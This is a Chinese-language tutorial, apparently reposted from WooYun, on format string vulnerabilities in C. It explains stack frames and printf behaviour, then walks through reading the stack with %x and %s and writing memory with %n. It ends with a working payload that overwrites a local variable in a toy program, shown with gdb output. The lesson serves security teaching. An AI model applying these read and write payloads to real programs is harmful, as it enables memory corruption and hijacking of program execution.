<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/9426

            0x00 序


            格式化字符串漏洞是一個很古老的漏洞了,現在幾乎已經見不到這類漏洞的身影,但是作為漏洞分析的初學者來說,還是很有必要研究一下的,因為這是基礎啊!!!所以就有了今天這篇文章。我文章都寫好了,就差你來跟我搞二進制了!%>.<%

            0x01 基礎知識---棧


            在進行真正的格式化字符串攻擊之前,我們需要了解一些基礎知識,方便更好的理解該類漏洞。 個人感覺我們還需要一些堆棧相關的基礎知識才能更好的理解并運用格式化字符串漏洞。接下來我們就一起看一下棧相關的知識: 說到棧我們不得不提的就是函數調用與參數傳遞,因為棧的作用就是動態的存儲函數之間的調用關系,從而保證在被調用函數返回時能夠回到母函數中繼續執行。棧其實是一種數據結構,棧中的數據是先進后出(First In Last Out),常見的操作有兩種:

            壓棧(PUSH)和彈棧(POP),

            用于標識棧屬性的也有兩個:棧頂(TOP)和棧底(BASE)。

            PUSH:為棧增加一個元素。

            POP:從棧中取出一個元素。

            TOP:標識棧頂的位置,并且是動態變化的,每進行一次push操作,它會自增1,反之,每進行一次pop操作,它會自減1

            BASE:標識棧底位置,它的位置是不會變動的。

            函數調用時到底發生了什么呢,我們將通過下面的代碼做一下簡單的認識。 示例代碼:

            int func_B(arg_B1,arg_B2)
            {
                   int var_B;
                   var_B = arg_B1+arg_B2;
                   return var_B;
            }
            int func_A(arg_A1,arg_A2)
            
            {
                 int var_A;
                 var_A = func_B(arg_A1,arg_A2);
                 return var_A; 
            }
            
            int main (int argc, char **argv, char **envp)
            {
                int var_main;
                var_main=func_A(1,2);
                return var_main;
            }
            

            程序的執行過程如下圖所示:

            Alt text

            通過上圖我們可以看到程序執行的流程:main--func_A--func_B--func_A--main,CPU在執行程序時是如何知道各個函數之間的調用關系呢,接下來我們將介紹一個新的名詞:棧幀。當函數被調用時,系統棧會為這個函數開辟一個新的棧幀,這個棧幀中的內存空間被它所屬的函數獨占,當函數返回時,系統棧會彈出該函數所對應的棧幀。32位系統下提供了兩個特殊的寄存器(ESP和EBP)識棧幀。

            CPU利用EBP(不是ESP)寄存器來訪問棧內局部變量、參數、函數返回地址,程序運行過程中,ESP寄存器的值隨時變化,如果以ESP的值為基準對棧內的局部變量、參數、返回地址進行訪問顯然是不可能的,所以在進行函數調用時,先把用作基準的ESP的值保存到EBP,這樣以后無論ESP如何變化,都能夠以EBP為基準訪問到局部變量、參數以及返回地址。接下來將編譯上述代碼并進行調試,從而進一步了解函數調用以及參數傳遞的過程。

            首先用gcc進行編譯:gcc -fno-stack-protector -o 1 1.c

            用objdump進行反匯編查看:objdump -d 1

                0804841d <main>:
                 804841d:   55                      push   %ebp          ;函數開始(保存舊棧幀的底部)
                 804841e:   89 e5                   mov    %esp,%ebp     ;設置新棧幀底部(切換棧幀)
                 8048420:   83 ec 10                sub    $0x10,%esp    ;設置新棧幀的頂部(抬高棧頂,為新棧幀開辟空間)
                 8048423:   6a 02                   push   $0x2          ;參數入棧(從右往左)
                 8048425:   6a 01                   push   $0x1
                 8048427:   e8 d5 ff ff ff          call   8048401 <func_A> ;向棧中壓入當前指令所在的內存地址,保存返回地址
                                                                          ;跳轉到所調用函數的入口處執行
                 804842c:   83 c4 08                add    $0x8,%esp
                 804842f:   89 45 fc                mov    %eax,-0x4(%ebp)
                 8048432:   8b 45 fc                mov    -0x4(%ebp),%eax
                 8048435:   c9                      leave  
                 8048436:   c3                      ret 
            
            
            
                 08048401 <func_A>:
                 8048401:   55                      push   %ebp
                 8048402:   89 e5                   mov    %esp,%ebp
                 8048404:   83 ec 10                sub    $0x10,%esp
                 8048407:   ff 75 0c                pushl  0xc(%ebp)
                 804840a:   ff 75 08                pushl  0x8(%ebp)
                 804840d:   e8 d9 ff ff ff          call   80483eb <func_B>
                 8048412:   83 c4 08                add    $0x8,%esp
                 8048415:   89 45 fc                mov    %eax,-0x4(%ebp)
                 8048418:   8b 45 fc                mov    -0x4(%ebp),%eax
                 804841b:   c9                      leave  
                 804841c:   c3                      ret 
            

            func_A棧幀如下圖所示:

            Alt text

            我們將通過以下圖例對本次函數調用做一個總結:

            Alt text

            通過前面的函數調用細節以及棧中數據的分布情況,我們可以發現局部變量是在棧中挨個排放的,如果這些局部變量中有數組之類的緩沖區,并且程序存在數組越界的問題,那么越界的數組元素就有可能破壞棧中相鄰變量的值,進而破壞EBP的值、返回地址等重要數據。

            因為本次主要討論的是格式化字符串漏洞,關于棧溢出的細節就不做討論了,感興趣的可以查閱相關資料。

            有了以上的基礎知識以后,我們就可以進一步分析格式化字符串漏洞了。

            0x02 格式化字符串漏洞原理


            格式化串漏洞和普通的棧溢出有相似之處,但又有所不同,它們都是利用了程序員的疏忽大意來改變程序運行的正常流程。

            接下來我們就來看一下格式化字符串的漏洞原理。

            首先,什么是格式化字符串呢,print()、fprint()等*print()系列的函數可以按照一定的格式將數據進行輸出,舉個最簡單的例子:

            printf("My Name is:  %s" , "bingtangguan")
            

            執行該函數后將返回字符串:My Name is:bingtangguan

            該printf函數的第一個參數就是格式化字符串,它來告訴程序將數據以什么格式輸出。上面的例子相信只要學過C語言、上過大學考過計算機二級的都耳熟能詳,如果這個都不知道,接下來我真不知道該怎么寫了。但是我還是覺得有必要把printf()函數好好寫一下。

            printf()函數的一般形式為:printf("format", 輸出表列),我們對format比較關心,看一下它的結構吧:%[標志][輸出最小寬度][.精度][長度]類型,其中跟格式化字符串漏洞有關系的主要有以下幾點:

            1、輸出最小寬度:用十進制整數來表示輸出的最少位數。若實際位數多于定義的寬度,則按實際位數輸出,若實際位數少于定義的寬度則補以空格或0。

            2、類型:

            對于其余內容,感興趣的自行百度吧。

            關于printf()函數的使用,正常我們使用printf()函數應該是這樣的:

            char str[100];
            scanf("%s",str);
            printf("%s",str);
            

            這是正確的使用方式,但是也有的人會這么用:

            char str[100];
            scanf("%s",str);
            printf(str)
            

            然后,悲劇就發生了,我們可以對比一下這兩段代碼,很明顯,第二個程序中的printf()函數參數我們是可控的,我們在控制了format參數之后結合printf()函數的特性就可以進行相應的攻擊。

            # 特性一: printf()函數的參數個數不固定

            我們可以利用這一特性進行越界數據的訪問。我們先看一個正常的程序:

            #include <stdio.h>
            int main(void)
            {
            int a=1,b=2,c=3;
            char buf[]="test";
            printf("%s %d %d %d\n",buf,a,b,c);
            return 0;
            }
            

            我們編譯之后運行:

            [email protected]:~/Desktop/format$ gcc -fno-stack-protector -o format format.c
            [email protected]:~/Desktop/format$ ./format 
            test 1 2 3
            

            接下來我們做一下測試,我們增加一個printf()的format參數,改為:

            printf("%s %d %d %d %x\n",buf,a,b,c),編譯后運行:

            [email protected]:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
            format.c: In function ‘main’:
            format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
             printf("%s %d %d %d %x\n",buf,a,b,c);
             ^
            [email protected]:~/Desktop/format$ ./format1
            test 1 2 3 c30000
            

            雖然gcc在編譯的時候提示了一個warning,但還是編譯通過了,我們運行后發現多輸出了一個C30000,這是個什么數據呢,我們用gdb調試一下看看吧,我們在printf()函數處下個斷點,然后運行程序,程序停在了printf()函數入口處0xb7e652f0 __printf+0 push %ebx。大家可能發現了我的gdb 有點不大一樣,是因為我用了一個叫做gdb-dashboard的可視化工具,個人感覺還是比較方便的,可以實時的查看寄存器、內存、反匯編等,感興趣的同學可以去github下載安裝一下試試:https://github.com/cyrus-and/gdb-dashboard

            [email protected]:~/Desktop/format$ gdb ./format1
            GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
            Copyright (C) 2014 Free Software Foundation, Inc.
            License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
            This is free software: you are free to change and redistribute it.
            There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
            and "show warranty" for details.
            This GDB was configured as "i686-linux-gnu".
            Type "show configuration" for configuration details.
            For bug reporting instructions, please see:
            <http://www.gnu.org/software/gdb/bugs/>.
            Find the GDB manual and other documentation resources online at:
            <http://www.gnu.org/software/gdb/documentation/>.
            For help, type "help".
            Type "apropos word" to search for commands related to "word"...
            Reading symbols from ./format1...(no debugging symbols found)...done.
            >>> start
            Temporary breakpoint 1 at 0x8048429
            Starting program: /home/bingtangguan/Desktop/format/format1 
            
            ─── Output/messages ────────────────────────────────────────────────────────────
            
            Temporary breakpoint 1, 0x08048429 in main ()
            ─── Assembly ───────────────────────────────────────────────────────────────────
            0x08048425 main+10 push   %ebp
            0x08048426 main+11 mov    %esp,%ebp
            0x08048428 main+13 push   %ecx
            0x08048429 main+14 sub    $0x24,%esp
            0x0804842c main+17 movl   $0x1,-0xc(%ebp)
            0x08048433 main+24 movl   $0x2,-0x10(%ebp)
            0x0804843a main+31 movl   $0x3,-0x14(%ebp)
            ─── Expressions ────────────────────────────────────────────────────────────────
            ─── History ────────────────────────────────────────────────────────────────────
            ─── Memory ─────────────────────────────────────────────────────────────────────
            ─── Registers ──────────────────────────────────────────────────────────────────
               eax 0x00000001      ecx 0xbffff070      edx 0xbffff094      ebx 0xb7fc1000  
               esp 0xbffff054      ebp 0xbffff058      esi 0x00000000      edi 0x00000000  
               eip 0x08048429   eflags [ PF SF IF ]     cs 0x00000073       ss 0x0000007b  
               ds 0x0000007b       es 0x0000007b       fs 0x00000000       gs 0x00000033  
            ─── Source ─────────────────────────────────────────────────────────────────────
            ─── Stack ──────────────────────────────────────────────────────────────────────
            [0] from 0x08048429 in main+14
            (no arguments)
            ─── Threads ────────────────────────────────────────────────────────────────────
            [1] id 3590 name format1 from 0x08048429 in main+14
            ────────────────────────────────────────────────────────────────────────────────
            >>> break printf
            Breakpoint 2 at 0xb7e652f0: file printf.c, line 28.
            >>> r
            Starting program: /home/bingtangguan/Desktop/format/format1 
            
            ─── Output/messages ────────────────────────────────────────────────────────────
            
            Breakpoint 2, __printf (format=0x8048510 "%s %d %d %d %x\n") at printf.c:28
            28  printf.c: No such file or directory.
            ─── Assembly ───────────────────────────────────────────────────────────────────
            0xb7e652f0 __printf+0 push   %ebx
            0xb7e652f1 __printf+1 sub    $0x18,%esp
            0xb7e652f4 __printf+4 call   0xb7f3d90b <__x86.get_pc_thunk.bx>
            0xb7e652f9 __printf+9 add    $0x15bd07,%ebx
            ─── Expressions ────────────────────────────────────────────────────────────────
            ─── History ────────────────────────────────────────────────────────────────────
            ─── Memory ─────────────────────────────────────────────────────────────────────
            ─── Registers ──────────────────────────────────────────────────────────────────
               eax 0xbffff03f      ecx 0xbffff070      edx 0xbffff094      ebx 0xb7fc1000  
               esp 0xbffff00c      ebp 0xbffff058      esi 0x00000000      edi 0x00000000  
               eip 0xb7e652f0   eflags [ PF ZF IF ]     cs 0x00000073       ss 0x0000007b  
               ds 0x0000007b       es 0x0000007b       fs 0x00000000       gs 0x00000033  
            ─── Source ─────────────────────────────────────────────────────────────────────
            Cannot access "/build/buildd/glibc-2.19/stdio-common/printf.c"
            ─── Stack ──────────────────────────────────────────────────────────────────────
            [0] from 0xb7e652f0 in __printf+0 at printf.c:28
            arg format = 0x8048510 "%s %d %d %d %x\n"
            [1] from 0x08048466 in main+75
            (no arguments)
            ─── Threads ────────────────────────────────────────────────────────────────────
            [1] id 3594 name format1 from 0xb7e652f0 in __printf+0 at printf.c:28
            

            我們查看一下此時的棧布局:

            >>> x/10x $sp
            0xbffff00c: 0x08048466  0x08048510  0xbffff03f  0x00000001
            0xbffff01c: 0x00000002  0x00000003  0x00c30000  0x00000001
            0xbffff02c: 0x080482bd  0xbffff2c4
            

            我們已經看到了0x00c30000,根據第一節我們對棧幀布局的認識,我們可以想象一下調用printf()函數后的棧的布局是什么樣的

             >>> x/20x $sp
            0xbffff00c: 0x08048466  0x08048510  0xbffff03f  0x00000001
            0xbffff01c: 0x00000002  0x00000003  0x00c30000  0x00000001
            0xbffff02c: 0x080482bd  0xbffff2c4  0x0000002f  0x0804a000
            0xbffff03c: 0x740484d2  0x00747365  0x00000003  0x00000002
            0xbffff04c: 0x00000001  0xb7fc13c4  0xbffff070  0x00000000
            

            Alt text

            看了上面的圖,相信大家已經很明白了吧,只要我們能夠控制format的,我們就可以一直讀取內存數據。

            printf("%s %d %d %d %x %x %x %x %x %x %x %x\n",buf,a,b,c)
            
            [email protected]:~/Desktop/format$ ./format2
            test 1 2 3 c30000 1 80482bd bf8bf301 2f 804a000 740484d2 747365
            

            上一個例子只是告訴我們可以利用%x一直讀取棧內的內存數據,可是這并不能滿足我們的需求不是,我們要的是任意地址讀取,當然,這也是可以的,我們通過下面的例子進行分析:

            #include <stdio.h>
            int main(int argc, char *argv[])
            {
                char str[200];
                fgets(str,200,stdin);
                printf(str);
                return 0;
            }
            

            有了上一個小例子的經驗,我們可以直接嘗試去讀取str[]的內容呢

            gdb調試,單步運行完call 0x8048340 <[email protected]>后輸入:

            AAAA%08x%08x%08x%08x%08x%08x(學過C語言的肯定知道%08x的意義,不明白的也不要緊,可以先看一下后面的特性三,我這里就不再多說了)

            然后我們執行到printf()函數,觀察此時的棧區,特別注意一下0x41414141(這是我們str的開始):

            >>> x/10x $sp
            0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
            0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
            0xbfffef90: 0x78383025  0x78383025
            

            繼續執行,看我們能獲得什么,我們成功的讀到了AAAA:

            AAAA000000c8b7fc1c20b7e25438080482100000000141414141
            

            這時候我們需要借助printf()函數的另一個重要的格式化字符參數%s,我們可以用%s來獲取指針指向的內存數據。

            那么我們就可以這么構造嘗試去獲取0x41414141地址上的數據:

            \x41\x41\x41\x41%08x%08x%08x%08x%08x%s

            到現在,我們可以利用格式化字符串漏洞讀取內存的內容,看起來好像也沒什么用啊,就是讀個數據而已,我們能不能利用這個漏洞修改內存信息(比如說修改返回地址)從而劫持程序執行流程呢,這需要看printf()函數的第二個特性。

            # 特性二:利用%n格式符寫入數據

            %n是一個不經常用到的格式符,它的作用是把前面已經打印的長度寫入某個內存地址,看下面的代碼:

            #include <stdio.h>
            main()
            {
              int num=66666666;
            
              printf("Before: num = %d\n", num);
              printf("%d%n\n", num, &num);
              printf("After: num = %d\n", num);
            
            }
            

            可以發現我們用%n成功修改了num的值:

            [email protected]:~/Desktop/format$ ./format2
            Before: num = 66666666
            66666666
            After: num = 8
            

            現在我們已經知道可以用構造的格式化字符串去訪問棧內的數據,并且可以利用%n向內存中寫入值,那我們是不是可以修改某一個函數的返回地址從而控制程序執行流程呢,到了這一步細心的同學可能已經發現了,%n的作用只是將前面打印的字符串長度寫入到內存中,而我們想要寫入的是一個地址,而且這個地址是很大的。這時候我們就需要用到printf()函數的第三個特性來配合完成地址的寫入。

            # 特性三:自定義打印字符串寬度

            我們在上面的基礎部分已經有提到關于打印字符串寬度的問題,在格式符中間加上一個十進制整數來表示輸出的最少位數,若實際位數多于定義的寬度,則按實際位數輸出,若實際位數少于定義的寬度則補以空格或0。我們把上一段代碼做一下修改并看一下效果:

            #include <stdio.h>
            main()
            {
              int num=66666666;
            
              printf("Before: num = %d\n", num);
              printf("%.100d%n\n", num, &num);
              printf("After: num = %d\n", num);
            }
            

            可以看到我們的num值被改為了100

            [email protected]:~/Desktop/format$ ./format2
            Before: num = 66666666
            00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
            66666666
            After: num = 100
            

            看到這兒聰明的你肯定明白如何去覆蓋一個地址了吧,比如說我們要把0x8048000這個地址寫入內存,我們要做的就是把該地址對應的10進制134512640作為格式符控制寬度即可:

            printf("%.134512640d%n\n", num, &num);
            printf("After: num = %x\n", num);
            

            可以看到,我們的num被成功修改為8048000

            [email protected]:~/Desktop/format$ ./format2
            Before: num = 66666666
            中間的0省略...........
            00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
            After: num = 8048000
            [email protected]:~/Desktop/format$ 
            

            明白了這個原理之后,我們接下來嘗試任意地址寫作為本章的結束。知識庫之前有一篇格式化字符串漏洞文章,在文章最后有一個實例,但是在我按照作者的方法進行測試的時候,發現并不能成功利用,于是我利用任意地址寫的方法完成該實驗。

            代碼參考鏈接:http://drops.wooyun.org/binary/7714

            #include <stdio.h>
            int main(void)
            { 
            int flag = 0;
            int *p = &flag; 
            char a[100];
            scanf("%s",a);
            printf(a);
            if(flag == 2000)
                {
                        printf("good!!\n");
                }
            
                return 0;
            }
            

            首先分析一下匯編代碼,下面這一段代碼就是將p指向flag,并且將局部變量flag、p壓棧,我們只需要利用格式化字符串漏洞覆蓋掉*p指向的內存地址的內容為2000就可以了。

             80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
             80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
             80484b6:   89 45 f4                mov    %eax,-0xc(%ebp
            

            下面我們要做到是找到*p指向的內存地址,也就是ebp-0x10的地址。 gdb載入程序,重點關注以上三條指令執行結果:

            >>> x/10x $ebp-0x10
            0xbffff048: 0x00000000  0xb7e4977d  0xb7fc13c4  0xbffff070
            0xbffff058: 0x00000000  0xb7e31a83  0x08048510  0x00000000
            0xbffff068: 0x00000000  0xb7e31a83
            

            現在我們知道了,我們需要將0xbffff048這個地址的內容修改為2000。這里有一點需要特別注意: gdb調試環境里面的棧地址跟直接運行程序是不一樣的,也就是說我們在直接運行程序時修改這個地址是沒用的,所以我們需要結合格式化字符串漏洞讀內存的功能,先泄露一個地址出來,然后我們根據泄露出來的地址計算出ebp-0x10的地址。

            我們繼續在gdb調試,執行get()函數后隨便輸入AAAAAAA,執行到printf()的時候觀察棧區:

            Alt text

            我們如果只輸入%x的話就可以讀出esp+4地址上的數據,也就是0xbfffefe4,而我們需要修改的地址為0xbffff048,這兩個地址的偏移為0x64。

            下面我們就可以直接運行程序,并輸入%x,然后獲取ESP+4地址內的值:

            [email protected]:~/Desktop/format$ ./test
            %x
            bffff024
            

            那我們需要修改的地址就是:0xbffff024+0x64=0xbffff088

            最后就是要在地址0xbffff088處寫入2000: \x88\xf0\xff\xbf%10x%10x%10x%1966x%n

            [email protected]:~/Desktop/format$ python -c "print '\x88\xf0\xff\xbf%10x%10x%10x%.1966x%n'" > 11
            [email protected]:~/Desktop/format$ cat 11 | ./test 
            ????  bffff024         0         00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003good!!
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线